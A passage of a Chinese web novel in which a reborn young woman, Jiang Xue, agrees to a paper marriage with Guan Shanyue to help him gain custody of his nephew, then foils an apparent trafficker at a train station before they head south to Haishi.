江雪带着笑意的声音从后背传来，“不过，还好你来了，不然我今晚要熬成大熊猫。” “大熊猫？” “黑眼圈啊！”江雪说：“你不知道大熊猫长什么样吗？” 关山越：“不知道。” 江雪发现自己总在关山越面前口无遮拦，“等回头你看电视就知道了，我也是看电视才知道的，它只有黑白两个颜色，眼圈那里就是黑的。” “电视不是看什么都是黑白的吗？” 江雪：“……” 多说多错，江雪不说话了。 他俩中间隔着江雪的大包袱，里面装的大部分都是衣物，沉甸甸软乎乎的。江雪趴在上面，离关山越的后背有一段距离。 但关山越好像能感受到她的呼吸声深深浅浅的传过来，轻轻的附着在他的后背上，尤其是在她说话的时候，带着雀跃的温度。 她不说话时，就只剩下呼呼的风刮过去。 * 原本关山越要绕路把江雪送去火车站，但行驶到半路，关山越腰间的传呼机突然响了起来。 正好路过加油站，关山越把摩托车开进去加油，顺便用加油站的座机拨了回去。 很快，关山越神色匆匆的挂了电话。 江雪看他脸色不好，“怎么了？” 关山越把头盔递给她，“是邻居打来的，说姜衡不太好，一直哭，也不吃饭。” “那还等什么，快走吧。”江雪立马戴上头盔，“先回去，火车又不是明天就不开了。” 关山越立马调转车头，朝另一个方向疾驰而去。 一个小时后，摩托车在一扇院门前停下。 摩托车的声音在寂静的夜里分外清晰，关山越刚把车推进院子，邻居就抱着姜衡找了过来。 “你走了之后他就不怎么开心。”邻居把姜衡递给关山越，“晚饭没吃，后来才发现他在偷偷掉眼泪，谁哄都不行，问也不说话。我看他都困得不行了也不说睡觉，估摸着他可能在等你回来，这才赶紧去街上给你打了个电话。” 说完，又递给他一个铝制饭盒，“没吃晚饭吧，给你留了点儿，垫垫肚子。” 关山越道了谢，要掏钱给对方，被拒绝了，“你这孩子，小时候我也是看着你长大的，哪能要你的钱。” 摩托车还没熄火，车灯亮着。来人目光一转，就看到了站在旁边的江雪，“大山，这位是？” “你好。”江雪笑眯眯的伸出手，丝毫不见外，“我是关山越的朋友，我叫江雪，三点水的江，下雪的雪，您叫我小雪就行。” “哦哦，小雪，你好你好。” 她这么坦坦荡荡，其他人反倒不好说什么了，只能干笑了两声，“那行，你歇着吧，饭盒明天送过来就行，我先回了。” 关家的房子是两间瓦房，一间用来生活起居，另一间存放粮食。做饭就是在屋檐下搭的灶台，厕所在屋后，是用木板搭成的。 姜衡看到关山越后就不哭了，紧接着又看到江雪，小脸上立马有了笑意。 只不过笑意没坚持多久，哈欠就一个接一个的打了起来，关山越把他抱到自己房间，刚放到床上就睡了过去。 出来后，关山越拿了几支蜡烛出来，递给江雪一支，用火柴点燃，“这是我姐之前的房间。” 门没锁，关山越推开门，一股重重的陈旧气味裹挟着厚厚的灰尘扑面而来。 关山越难得愣住了两三秒，干巴巴的解释说：“还没来得及收拾。” 其实是没打算收拾。 他回来只是为了办理一些必要的手续，还有就是去看看姜衡，没打算在这里常住。 这几间房足足七八年没有住人，院子里的草都长了几尺高，墙上爬满了藤蔓，就连屋顶都杂草丛生，瓦片被草顶裂了好几片，还好这几天没下雨，否则屋里保准漏成水帘洞。 关山越耐着性子收拾了两天，最后索性只收拾了他以前住的西屋，连电都没通，买了几支蜡烛将就着用。 江雪并不介意，举着蜡烛走进去，“没事，我打扫一下，能住人就行。” 江雪还是头回住这样的屋子，瓦房房顶和平房房顶结构很不一样，一抬头就能看到巨大的实木横梁，上面还有用铁丝勾着的篮子，不知道里面放了什么东西。 屋顶高高耸起，显得不大的房间十分空旷。 房间里有张床和两个柜子，柜子上下叠放，放在床头充当桌子使用，不过眼下都积着厚厚的一层灰。 江雪摸了摸床板，只是有灰，并没有受潮之类的，“有扫床的工具吗？” 关山越挽起袖子，“我来吧。” 床板并不是一整个，而是由几块厚木板组成的。关山越索性把木板一个个掀起来，搬到院子里，竖着在地上磕两下，大部分灰尘就都落了下来。 剩下的用干毛巾一擦，床板就干净了。褥子和被子都是干净的，铺上去就能睡人。 躺在床上，飘摇不定的火苗在床头摇晃，江雪深吸一口气，吹灭蜡烛睡了过去。 * 转天，关山越送江雪去火车站，姜衡也跟着。 有了上一次出门的经验，姜衡显得很兴奋，也没注意到出门时江雪带上了自己的行李。 先去售票大厅买票，江雪在一众南方城市中看了一圈，选中了海市。 这个在未来鼎鼎有名的国际大都市，现在才刚刚开始迈出腾飞的脚步。 关山越：“你要去海市？”他还以为江雪被说去南方，说的是深市，现在可没有哪一个地方比得上深市的发展速度了没个想要南下的人，首要选择一定是深市。 江雪：“对，就去海市。” 现在的车票还不是实名制，丢了就是丢了，补办只能再花钱买。发车时间在下午，还有好几个小时，江雪把车票小心翼翼的收起来。 江雪想起来一件事，“对了，你以后打算去哪儿？” “我？” 江雪笑了，“你连房子都住的乱糟 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江雪眼前一亮，斟酌着开口，“姜衡会跟着你走吗？那他的户口怎么办？会不会赶不上？”要不你就换个去海市的时间。 “来得及。”关山越说：“我已经托朋友去问了。” 为了感谢关山越的帮忙，午饭由江雪请客。三个人在街边找了间饭馆，点了两道炒菜，和两大碗牛肉面。 刚点完菜，一转眼的功夫，姜衡就抱着橙子汽水先干了大半瓶，狠狠地打了个嗝，眼睛里蓄出两包泪。 江雪笑着拿手帕给他擦了，把汽水瓶放远了点，“等会儿就吃不下饭了，吃完饭了再喝。” 姜衡依依不舍的盯着玻璃瓶，舔着嘴角乖乖点头。 江雪看的只发笑，关山越冷不丁的来了句，“你俩挺像的。” 江雪不解，“我俩？” 她和姜衡从头到脚不说是两模两样，那也是毫不相关，关山越是怎么觉得他俩像的，真正长得像的应该是他俩吧！ 顺着关山越的视线看过去，是那瓶被姜衡喝了一半的橙子汽水。 “面来了。” 热气腾腾的牛肉面端了上来，被香喷喷的热气一熏，江雪瞬间反应过来，关山越说的是他们第一次见面那天，她一口气喝了两瓶汽水。 江雪瘪了瘪嘴，拿起筷子从自己碗里分出一小半面给姜衡。 关山越低头看了眼传呼机，突然起身道：“我出去打个电话。” 打电话过来的是关山越之前的战友，对方退伍后服从分配，去了政府机关工作。接回姜衡的当晚，关山越就给他打去了电话，托他问问户口办理的事。 “户口倒是不难办。”对方说：“但你要你外甥的抚养权，这个有点儿麻烦。” 关山越沉声道：“我会让他爹主动放弃抚养权。” “这不是说放弃就放弃的，他有义务，有责任抚养自己的孩子。” “还有就是，你一个单身汉，没有婚育经验，就算他放弃抚养权，组织上也不会优先考虑你来接手。” “要不，你先去结个婚？” 12. 第十二章 回来后，关山越显得有点儿心不在焉，江雪眼睁睁看着他把筷子往姜衡碗里伸了好几次。 姜衡的碗只有巴掌那么大，他想不通为什么舅舅的碗比他的大那——么多，还要吃他碗里的东西。 是舅舅觉得他碗里的比较好吃吗？ 姜衡思考了一会儿，慢慢把自己的碗朝关山越的方向推。 关山越：“？” 他抬头看向姜衡，姜衡还是不说话，只是把碗又往他面前挪了挪。 他年纪小，个子矮，胳膊伸到最长也只能到桌子中间。 关山越盯着碗里被他吃了一半的牛肉面，皱起眉问：“不吃了？” 这才吃了几口就不吃了，胃口跟小猫似的，以后怎么长个子。 要吃的。 姜衡瞪大双眼，紧张的摇了摇头，看关山越没有要吃自己饭的意思，赶紧把碗拉回来，抓起筷子大口大口的往嘴里塞，腮帮子撑得鼓鼓的。 江雪在旁边目睹了全过程，强忍着笑意，“别着急，慢慢吃，你舅舅不是要抢你的饭吃。” 让他笑她喝汽水，这不就叫她找到机会扳回一城。 关山越被这句话呛住，他刚刚确实走了神，要不是江雪在桌子底下踩了他两脚，他都没发现自己竟然把筷子伸到了姜衡碗里。 没想到竟然被自己外甥误会了。 触及江雪略带调侃的目光，关山越把自己碗里仅有的两片牛肉夹出来放到姜衡碗里，明明是做好事，却还是板着脸，“多吃肉。” 这家店的牛肉面味道不错，江雪却有点儿食不知味。 现在的火车票都不是实名制的，安检肯定也不像后来那么严格。姜衡在采访里说的是见义勇为，难道是有劫匪上了火车？还是什么杀人狂魔？通缉犯？ 关山越一个人尚且自顾不暇，再加上只有五岁的姜衡，万一遇上对方要挟持人质什么的，该不会她惹出来的蝴蝶效应扇到这里了吧？ 江雪越想越吓唬自己，到底没忍住开了口，“是出什么事了吗？” 按理来说，吃饭的时候不好聊事情。但时间不等人，吃过饭她就要去候车厅等车，再等下去就真的没机会了。 “看你打完电话回来脸色不太对。”江雪笑了笑，试探着问了句，“和姜衡有关？” 本来是随口一问，结果就看到关山越挑了下眉，是个很轻的动作，意思也很明显，是“你怎么知道”。 江雪放下筷子，“小衡，你还喝不喝汽水？” 汽水？ 姜衡双眼一亮，江雪笑着朝靠里面放汽水的柜子指了指，“你自己去拿一瓶，记得让店主伯伯给你打开，要慢慢喝，好吗？” 姜衡犹豫了一会儿，到底没能抵抗汽水的诱惑，点点头，扶着桌子，慢慢的从凳子上滑了下去。 姜衡迈着小短腿走了，江雪这才转过身，端正神色，声音不急不缓，“把姜衡从新阳带回来，怎么说我也出了一半的力。和他有关的事，我问一问应该不过分。” 事实上，江雪也知道自己算强词夺理。关山越是姜衡亲舅舅，她顶多算是个热心群众，路见不平拔刀相助罢了。 转念一想，姜大强在关山越面前怂成那样，肯定不敢作妖，那么能让关山越觉得为难的，就只剩下一件事。江雪语气笃定，“是户口的事？” 关山越松展眉宇，“是。” 关山越把事情简单一说，江雪就明白了，并立刻抓住了重点，“你要找人结婚？” 关山越摇头，结婚又不是买菜，哪能说结就结，“我再想想办法。” 江雪灵机一动，“这好办，我跟你结婚。” 不能关山越拒绝，江雪抬手，掌心向外一推，“你先等我说完，我不是完全为了你，为了姜衡，我也有私心。” “昨天你也看到了，那几个人，说是我的骨肉至亲，实际上是最恨我的人。我去南方，就是为了躲开他们，免得他们为了钱把我嫁出去。” “但我能躲一时，没办法躲一辈子。我一天不结婚，他们就会一直惦记着，迟早有一天还会找上来，我不能回回都拿刀和他们拼命。” 别说是现在，就是在二三十年后，也有那种把子女逼出家门，又死皮赖脸的腆着脸贴上来，用道德和亲情绑架子女，逼迫子女服软的人。 “和你结婚，总好过不知道什么时候就被他们卖了。” 被那双清凌凌的眸子注视着，关山越莫名说不出拒绝的话。缓了缓，他开口道：“结婚不是小事。” “可以只领结婚证。”江雪笑了，“日子很长，我们先当朋友相处。” 她朝对方伸出手，“合作愉快，关山越同志。” 修长有力的手握上来，“合作愉快，江雪同志。” * 既然决定要和关山越结婚，江雪去售票窗口退了去海市的车票。 三个人怎么来的怎么回，姜衡吃了香香的牛肉面，喝了两瓶汽水，回去的路上牵着江雪的手撑得直打嗝。而关山越背着江雪的行李跟在后面，对自己外甥更亲江雪而不是自己这件事毫无异议。 回到家，关山越翻出了自己的身份证和户口本出门，去村委会找人开介绍信。 江雪还是头回听说结婚还要介绍信，问了之后才知道，原来这时候结婚不仅需要户口本和身份证，还得有工作单位，或者是户籍所在地开具的介绍信。 三者缺一不可。 江雪不由得在心底感叹昔非今比，要是在上辈子，带上身份证就能去民政局办理结婚证。要是遇到某些特殊节日，比如情人节，七夕节日，甚至521、520这样的日子，还能在街上随机刷新出民政局流动摊位。 法定结婚年龄倒是没有变化，还是女性二十岁，男性二十二岁。江雪把户口本和身份证先收了起来，打算等生日当天就去村里开介绍信。 * 另一边的江家。 眼睁睁看着村委会的人搬走了收音机、自鸣钟、电风扇，连他们心心念念的缝纫机都搬去了村委会，房门一锁，把他们的心思也断了大半。 村长找了各家各户的代表开会，义正言辞的告诉所有人，房子 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李大妞一骨碌从床上起来，认同道：“可不就是，我说要再寻摸寻摸，你非说人家吃喝不愁，那丫头过去就享福。” 后半句话是对江带财说的，李大妞越想越觉得自己有先见之明，完全忘了自己一听给八百块钱，就高兴的跟什么似的。 正说着，老大和老大媳妇又来了。 江大一进门就冲着几人喊，“就该告他个流氓罪！叫他去吃牢饭！” 江带财抬头，被皱纹挤在一起的眼睛迸发出算计，“流氓罪？” “爸，全村人可都看见了，江雪跟那个男的。”江大想了一路才想出来这么个法子，眼看就要到手的钱和房子都没了，叫他哪能咽的下去这口气。 “江雪可还没结婚呢，就跟着个不认识的男的跑了，这不是耍流氓是什么？什么捐房子给村里做贡献，我看她就是想堵别人的嘴！” 李大妞掀开门帘子出来，“那不就是要把江雪送到公安局去？” 大伯娘赶紧上去搀住她的胳膊，“妈，都是一家人，找公安不就生分了吗？再说了，我们也是为了江雪好，她年轻，不懂事，我们做长辈的哪能跟她计较，我们就是想给她把把关。” 大伯紧跟着压低了声音道：“爸妈，昨儿下午，那人可是骑着摩托车来的，我找人问了，那辆摩托车，就算买二手的也得大几千呢！” 李大妞面上一喜，拉着大伯娘的手道：“还是你有主意！对了，你们知道那个男的叫啥名？是哪儿的人吗？” “我光听见个关什么的。” “会不会就是她舅给她介绍那个？” 三婶嘴快的接了句，“叫关山越，我听的真真的。” 老三赶紧在后面拽了她一把，叫她别插嘴。他算是看明白了，江雪那丫头不一般，跟她处对象那个男人也是个硬茬子。这事他们不掺和最好，要是掺和了，那丫头再发起疯来，谁拦得住。 “爸妈，就这么说定了。”江大站起身，“我现在就找人去打听，” 13. 第十三章 江雪的介绍信很快办了下来，知道她要结婚，村委会的人纷纷上来道贺。 江雪往每个人手里塞了把喜糖，被问到什么时候办婚礼，就笑眯眯的说：“不办了，马上就要去南方，来不及操持。” “不办也好。”问的人知道自己说错了话，赶紧又补了一句，“你们小两口把日子过好，比什么都强。” 办婚礼要邀请两边的亲朋好友，男方那边不知道是个什么情况，女方这边，江雪她奶前两天还满村吵吵要找公安告她孙女流氓罪呢。 江雪挑了挑眉。 流氓罪？ 她刚从江大和江老三家门口路过，两家都把院门关的严严实实。路上还遇见原主的大伯娘垮着篮子从粮油店里出来，远远瞅见她，狗撵耗子似的又躲了回去，一副被吓得不轻的样子。 “我就是给你提个醒。”说话的人拍拍她的手，“现在都提倡恋爱自由，你们是正经恋爱关系，就算他们去告公安也没用。” 江雪领了情，多抓了把糖给她，“谢谢婶子。” 拿了介绍信，江雪和关山越直奔市区民政局，半个小时不到，两人手里就分别多了一张写着两人名字的结婚证。 江雪前后两辈子加在一起，第一次拿到自己的结婚证。但这时候的结婚证和记忆中很不一样，不是常见的红色小本，而是张类似于奖状的大纸。 “下个月新证件就要出来了。”给他们办理手续的工作人员热情道：“到时候可以拿着这张旧的，来换个新的。新的好看。当然，不管新的旧的，国家都承认。” 领了证回家，远远就看到院门两边挂上了大红灯笼，门上也贴了“囍”字，鲜亮的色彩在灰扑扑的环境衬托下格外醒目。 “新娘子回来了~” 七八个半大孩子从四面八方围过来，有喊“新婚快乐”、“百年好合”的，有喊“恭喜发财”的，还有的说话还不利索，只顾着垫脚伸手，找他们要喜糖吃。 江雪叫关山越把刚买的喜糖和果子拿出来散给他们，村里人知道他们不办婚礼，就只叫孩子过来沾沾喜气，小孩子们甜了嘴，好听话一箩筐的往外冒。 “姜衡，你舅舅、舅妈回来了。”姜衡被一个比他稍大一点儿的小女孩牵着手领了过来。 有了上一次的经验，这次他们走前特地告诉了姜衡，他们要去哪儿，什么时候回来。加上这几天他跟着邻居家的小女孩到处玩，虽然还是不说话，但显然玩的很开心。 被牵着手过来的姜衡身上套了件红马甲，略长的刘海在头顶扎了个小辫，眉心叫人用口红点了个圆圆的小红点，脸颊也涂得红红的，看起来就像个福娃娃。 江雪遗憾的在心里叹了口气，要是有能拍照的手机就好了，未来的大明星，一线顶流，现在扎着小辫，涂着红脸颊，做成小卡都得是限量版。 胡思乱想了一瞬，江雪剥开一颗牛轧糖塞到姜衡嘴里，拉起他的手，“走，回家！” * 江老三家的大儿子哭丧着脸回了家。 他顶了江雪的岗在被服厂工作，厂里给提供员工宿舍，他平时就住在厂里，还能跟一群工友喝喝酒打打牌，日子别提多舒坦。 可就在今天上午，厂里接到了一封举报信。信里说了他在学校上学时乱搞男女关系，被发现后开除的事。 厂里领导把他叫去谈话，他本来想否认，可几个大领导都盯着他看，他一害怕，就全都承认了。 然后厂里领导就停了他的工作，叫他停薪留职，在家里等通知。 这等于是宣判了他的死刑！ 要是让被服厂开除，他以后可就彻底找不到工作了！ “妈，你快给我想想办法啊！” 三婶儿听完，“啊”的一声跌坐在凳子上，眼神发直，手脚僵硬，过了一会儿才狠狠的拍着桌子道：“都是那个害人精！” 他们家和别人往日无怨近日无仇，能这么干的人，除了江雪还会是谁？ 都是老大那一家害人精，要不是他们非要给江雪说那么一门亲事，要不是他们搅风搅雨的告流氓罪，哪会有这些事。 现在好了，他们打听到男方有本事，不好惹，就都当了缩头乌龟，也不到处嚷嚷要告公安了，反倒害得她儿子没了工作。 想到这里，三婶腾的站起身。 她都给儿子寻摸好了人家，女方家长一听是在被服厂工作，是正式职工，啥都没说就点了头。俩家都说好让孩子们先见一面，相处相处，明年开春就能结婚。 要是她儿子工作没了，她儿子还怎么结婚？她还怎么抱孙子？必须叫老大家给个说法，最好是叫他儿子把自己的工作让出来！ 还有江带财和李大妞，吃他家喝他家，平时偏心老大家也就算了，今天这事不能就这么算了！ * 好事不出门，坏事传千里。 江家两房的风波通过村口情报站，迅速在临近的几个村子之间传开。 先是江雪回去后发了疯，拿着刀满村子的要砍人。没过几天，江家老大和老三不知道怎么吵了起来，吵着吵着就在大街上打了起来，把公安都给惊动了，受了好一通批评教育。 回去后江老三就把他爸妈赶出门，说老两口子在他们家吃喝这么多年，也该叫老大家出出力了。老大家自然不愿意，硬是把着门不让进，说老三家得了房子，就该一辈子养着老两口。 王秀红端着织毛衣的篮子出门，回来时红光满脸，“哼！都是报应！” 江家人来闹的那一场，她现在都记着呢！害得她好几天都没敢出来，就怕叫人看笑话。 过了一会儿，陈雨婷也从外面回来了。 王秀红抬头看天，日头还在上面挂着呢，“你咋回来了？厂里出事了？” 陈雨婷没好气道：“我请假了。” 事实上，这几天她都没去厂里上班，都在外面闲逛。厂里还叫人给她捎信，说再不去上班就要开除她。 开除就开除，反正也没多少工资，等再过两年，厂子也要倒闭了。 “好端端的，你请假干啥？”王秀红走过来说：“我可告诉你，不许学江雪那个疯丫头。你厂里的工作好着呢，多少人求都求不来。” “妈，你知道江雪跟人领证了吗？”陈雨婷是在路上遇到了田翠英才回来的这么早。< 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可陈雨婷领完证就后悔了，她年轻轻轻，凭什么给别人养孩子，索性就拖着不去办手续。 最后还没等他俩办婚礼、圆房，关山越就收到消息走了。后来陈雨婷才知道关山越那么急着去南方，是因为他开的公司出了事，欠银行一大笔钱。 还好他死后银行把公司收了回去，抵了欠款。 至于那个孩子，陈雨婷没见过，也不知道叫什么名字。 “真是个傻子。”陈雨婷撇撇嘴。 * 出发前去海市前，关山越带着各种证件去了趟新阳。 各个关卡早已打好了招呼，姜大强更是不敢说什么。关山越去找他的时候，带上了五年间的汇款证明，他要是不同意，就得把钱还了。 积少成多，不算不知道，一算才发现关山越寄来的钱有两千多块。 姜大强自然还不起，老老实实的摁了手印，又看着关山越给姜衡改了个名字，新的户口本上明晃晃的“关嘉言”三个字。 随母姓。 另一边，江雪正在收拾去海市的行李。 从原主留下的各种东西看，原主的父母在世时对她极为疼爱。尽管家里不怎么富裕，却也竭尽所能给了她最好的。 江雪收拾出来一些必要的衣物和日常生活用品，其他的全部用床单裹了。对在院里玩的关嘉言招招手，往他兜里塞了一把街上买的炒花生，“去隔壁找姐姐玩一会儿，好不好？” 姜衡，不，现在该叫关嘉言。 既然要转户口，索性把名字也改了，彻底和姜大强一家斩断关系。江雪提了个建议，于是取新名字的任务就落在了她身上。 “嘉言如玉。”江雪想起上辈子独身一人在苦难中挣扎，却始终热心慈善的偶像，“他将来一定会成为拥有玉一样品格的好人。” 于是新名字就这么定了下来。 经过这段时间的相处，关嘉言对隔壁已经很熟悉，他捏着颗花生，目光落在江雪拎着的包上。 “舅妈出去办点儿事，马上就回来了。”江雪弯下腰，“咱们拉钩。” 14. 第十四章 写着“江雪”二字的小木牌，连同几件衣服，一起被放进小小的土坑里，被黄土掩埋。 刚刚下过雨的空气中，送来一阵带着清新草木气息的威风，五颜六色的花瓣挥手似的轻轻摇摆，花束下的土堆前，一瓶打开的汽水，一捧各种口味的水果糖静静地放在那里。 江雪起身走远。 * 两张南下的硬卧车票，五十多个小时的车程。 看着火车票上的出发时间和到达时间，江雪深吸了一口凉气。 这和“青春没有售价，硬座直达拉萨”有什么区别？等下了车，人都要被腌入味了吧？ “关山越。”江雪从窗户探出头，对在院子里穿着老头汗衫做俯卧撑的男人喊道：“多捡点儿干柴回来，我烧水要用。” 经过这段时间的相处，关山越已经知道江雪烧水是要做什么。 “三百。”最后一个俯卧撑做完，汗水从额头一滴滴滑落，在地面洇出一片水色。关山越俯下身体，应了声“好”后，才微微侧过头，“关嘉言，自己下去。” 盘腿坐在他背上的关嘉言手脚并用，动作熟练的滑了下去，没等关山越站起身，人已经跑进了房间。 很快，江雪的声音传了出来，“关嘉言，你今天吃几颗糖了？” 关嘉言在她面前停住脚，掰着手指头数了数，乖乖的伸出五根手指。 江雪叹气，她发现自己对关嘉言确实溺爱了一点儿，时常忘记他现在只是一个五岁的小豆丁，根本不存在什么自制力，吃起糖来简直无所顾忌。 把伸出来的五根手指摁下去两根，江雪认真道：“每天最多只能吃三颗，如果今天多吃，那么明天就要少吃，所以你明天只能吃一颗糖。” 关嘉言震惊的张开嘴，露出一口又细又白的小乳牙。 “吃多了糖，牙齿就会掉光光。”江雪毫无心理负担的吓唬小朋友，“到时候就什么都吃不了，连汽水都不能喝，只能看着我和你舅舅吃。” 关嘉言立马紧紧闭上嘴，生怕晚一秒自己的牙齿就会像江雪说的那样全部掉光。 教育完关嘉言，被使唤去捡柴的关山越也回来了。放下柴，又拿过靠墙放着的扁担，挑起两个水桶去外面共用的水井挑水，把墙角的水缸灌满。 江雪就喜欢他这一点儿，让干什么就干什么，不仅不会多问，还会顺手把其他要做的事也做了。 俗称，眼里有活儿。 用屋檐下的灶台烧上热水，江雪让关山越带着关嘉言去镇上的澡堂子洗澡，自己锁了门在家里洗。 这时候的大部分家庭没有在家里单独建洗澡间的习惯，天气好的时候就烧锅热水，用大澡盆在房间里洗。天冷了就去镇上的澡堂子，夏天两块钱，冬天三块钱。 江雪几天前去过澡堂子一次，刚掀开门帘进去，就被一片白花花的□□吓了出来，最后还是没能克服自己的心理障碍，又灰溜溜的拿着东西回来了。 “火车要坐三天。”江雪从关嘉言的衣服堆里挑挑拣拣出一件看得过去的塞给关山越，“好好给他洗干净，别等下车人都馊了。” 关山越：“……” 关嘉言不喜欢洗澡，被关山越夹在胳膊底下带走了。 * 火车站人声鼎沸，有坐车的，也有送站的。每个人手里都背着大包小包的行李。江雪甚至看到有人背了被子褥子，还有锅碗瓢盆一类的东西。 相比之下，他们的行李就精简了许多，只装了两个大行李袋。 另外还有两个军绿色的斜挎包，带拉锁的那个里面装着三个人的身份证件，由看上去就不好惹的关山越贴身带着。 另一个则和大部分人一样，装了军用水壶和搪瓷杯子，一袋馒头，以及一小罐咸菜。 馒头和咸菜都是能放好几天的食物，不怕坏。就算馒头皮坏了，揭了皮照样能吃。 安河是个小站，候车厅又小又挤，环境一般。因此大部分人都在站前广场等着，万一火车晚点儿，还能在外面透透气，比挤在候车厅强。 车次少，尽管不是出行高峰期，坐车的人依旧不少。 离车开还有一段时间，关山越去上厕所，江雪带着关嘉言看行李。 关山越前脚刚走，一个留着短头发，脸圆圆的女孩背着大包小包的行李从人群里穿行过来。好奇的目光四下打量，瞧见带着还各自的江雪，犹豫着走了过来，“姐，我想问问您，这是火车站吗？” 江雪朝她点了点头，“对。” 女孩赶紧从兜里掏出张皱巴巴的车票，对着上面的时间看了又看，又抬头去看候车厅门楣上挂着的时钟，对了好几遍，才抚着胸口松了口气。 随后把行李往地方一放，自顾自的坐下来，从背着的布袋里掏出一个馒头开始吃起来。 关嘉言被江雪两手扶着肩膀站着，见状好奇的看了过去，又仰起头看向江雪。 江雪摸了摸他带着帽子的脑袋，“饿了？” 关嘉言摇头，江雪想了想，也叫他坐在了行李袋上。 吃完馒头，女孩试探着跟江雪搭话，“你看着怪年轻的，孩子都这么大了？” 江雪笑道：“我结婚早。” 两人闲话了几句，女孩是个性格外向的，主动说自己叫春丫，“我去南方打工，人家都说去南方能赚大钱。你呢？带孩子跑那么远。” 江雪回道：“我去探亲。” 春丫了然的点点头，“是去找孩子他爸吧？” 江雪不承认也不否认，“带孩子去看看。” 已经过了四五分钟，关山越还没回来。江雪嘴上搭话，眼睛一直朝周围打量着。 “姑娘，你行行好，帮我个忙。”一个头发花白的老太太拄着拐杖颤颤巍巍的出现在他们面前，语气焦虑，面露难色，“我车票不知道掉哪儿了，你们眼神好，能帮我找找吗？” 江雪没接话，只伸手把关嘉言拉了起来，一手拽着他的手，一手揽着他的肩膀。 来的是个老太太，春丫就没想太多，大咧咧的问：“大娘，你家里人呢？咋不叫他们跟你一块儿找。” 老太太急的落下泪来，“我儿子在外面打工，病的不行了，买票叫我去看看他。谁知道我就去了趟厕 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春丫拉着老太太道：“没事大娘，我跟你去就行了，我眼神好着呢，多细的针鼻我都能一下穿过去。她带着孩子，还有这么多行李，确实不太方便。” 说着，春丫还把自己的行李往江雪脚边挪了挪，“正好你在这儿帮我看着行李，我去给大娘找找车票。” 说着两人就要走。 “等等。”江雪却突然伸手，一把拽住了春丫的手腕，“她也不去。” “啊？” “大娘，车票丢了是大事，耽误不得，说不定是叫人掏兜给偷走了。”江雪硬生生把春丫从老太太手里拽了回来，“您还是找公安同志吧。” 老太太脸色一变，江雪见状，彻底沉下脸来，眼中闪过一丝厉色，语气却依旧和和气气的，“车站都有广播，叫公安在广播里喊一声，不比咱们没头没脑的乱找好得多。” 春丫也反应过来，“对，大娘，我跟你一块儿找公安去！” 老太太往后退了两步，摆着手道：“不，不用了，我自己去找，自己去找。” 话音未落，本来拄着拐杖还走的踉踉跄跄的老太太，脚下像装了风火轮似的，转眼就消失在了人群里。 江雪这才松开春丫的手腕。 “咦？”春丫一脸疑惑，“她咋跑那么快呢？” 江雪看在眼里，在心里无声的叹了口气。 这傻姑娘，人是个好人，就是太没心眼，那老太太明显是心里有鬼，听到找公安才逃走的。 也不知道家里怎么放心的下，叫她自己一个人大老远跑去南方打工。 “出门在外，要知道一个最简单的道理。”江雪拍拍关嘉言的肩膀，声音不高不低，刚好能叫春丫听见，“一个正常的成年人，绝对不会在遇到困难的时候，找一个比他还要弱小的人求助。” 春丫惊讶的转过头，却见江雪并未看她，而是抱着孩子起身，朝着一个方向埋怨道：“怎么去那么久？” 15. 第十五章 江雪从来没用过这样的语气对他说话，哪怕是昨天，他带关嘉言洗完澡后，没打招呼就顺路去了理发店，叫人给关嘉言剃了个和他一模一样寸头。 回去后江雪也只是瞪了他一眼，叫他以后不要随随便便给关嘉言剪头发。 想到这件事，关山越下意识抬手摸头，“去了趟国营商店。” 国营商店就开在火车站对面，过条马路就到。 江雪这才看到他手里拎了个网兜，里面装了几个苹果、梨，还有橘子一类的应季水果，两盒饼干，甚至还有几袋方便面。 关山越敏锐的从江雪的语气和反应中察觉出不对劲，“出什么事了？” 江雪抿抿唇，她说完后也意识到自己的语气重了些。 关山越其实只离开了十分钟左右，而这一路上几十个小时，总不能其中一个人去上厕所，另外一个人也要带着大包小包的行李寸步不离的跟着。 “刚来了个奇怪的人。”江雪没有直接说出自己的判断，而是把刚刚发生的事情简单叙述了一遍。 “她说自己年纪大了，看着头发确实白了不少，但最后走的时候腿脚麻利。并且她说话有口音，不是安河人。” 听完，关山越的眉宇逐渐聚拢，又看了看依偎在江雪腿边的关嘉言，道：“是我大意了。” 江雪胆子大，有决断，说话做事从不拖泥带水。 第一次见面就敢跟着他去新阳接人。家里人算计她，她就敢单刀赴会，凭一己之力吓退几个成年男人，不仅把自己的后路安排的清清楚楚，走之前还叫那些人把吃进嘴里的好处全都吐了出来。 最后答应和他领结婚证，同样有理有据，不是脑子一热就做出的决定。 以至于关山越总是忘记，江雪几天前才过了二十岁生日，第一次见面时的模样甚至不比关嘉言好多少。 能被人信任，而不是一句“你想多了”，江雪提起的心稳稳落了下去。 她立刻道：“其实我刚才特意观察了她的长相，虽然她做了伪装，但有一些细节是没办法掩饰过去的。” 关山越二话不说拎起地上的包，“去车站派出所，我们一起。” “我，我也跟你们一块。”春丫黝黑泛红的脸都白了一半。 她不傻，只是被老太太牵着走，才没反应过来。这回儿听江雪和关山越一说，再看他们要去找公安，哪还有不明白的。 她这是遇上拐子了啊！ 想到自己差一点儿就跟着那老太太走了，春丫哪里还呆的住。 她出来前就听村里人说了，说拐子专找小孩，还有她这样的大姑娘下手。哪能想到自己才刚出门，连火车都还没搭上，就遇到拐子了呢？ 刚刚是江雪拉住她，春丫已经把她当成了救命恩人，“姐，大哥，你们带着我吧，我，我不敢一个人搁这儿呆着了。” 万一那老太太再回来可咋办，她可听村里人说了，有些拐子是敢当街抢人的！ 江雪脚步一顿，回头看去，问道：“你就不怕我们跟刚才的老太太是一伙儿的？” “啊？”春丫愣住，“姐，你救了我，咋会是拐子呢？” “……”江雪无奈扶额，“你要跟就跟着吧，注意别耽误自己的车次就行。” 江雪并不是圣母心发作，而是作为一个经受过系统教育的国人，叫她没办法对这样的事情视而不见。 更何况，江雪相信，类似的事情无论发生在谁身上，都会做出和她一样的选择。 上辈子的社交网络上，偶尔会出现孩子不甚走丢，被路人发现后送到警察局。又或者家长发布寻找信息，全城出动帮忙寻找孩子的事件。 在二三十年后，得益于发达的通讯网络，以及满大街的监控系统，构成一张无形的天网，使得大多数情况都是虚惊一场。 但，丢失孩子的信息少了，取而代之的是“宝贝回家”、“寻亲节目”，以及印在快递盒子上的幼童身份信息，有的时间跨度甚至足足有二三十年。 时光荏苒，他们从未放弃过寻找的希望。 在车站派出所做了笔录，没过一会儿，站前广场上就多了好几个穿着绿色警服，头戴大檐帽的公安民警。 江雪和关山越没再耽误，排到进站检查的队伍里，很快检票进站，顺利登上火车。 * 仅供一人通行的狭窄过道，开放式的隔间，左右相对的上中下三层床铺。这时候的硬卧车厢和二三十年后的没有太大区别。 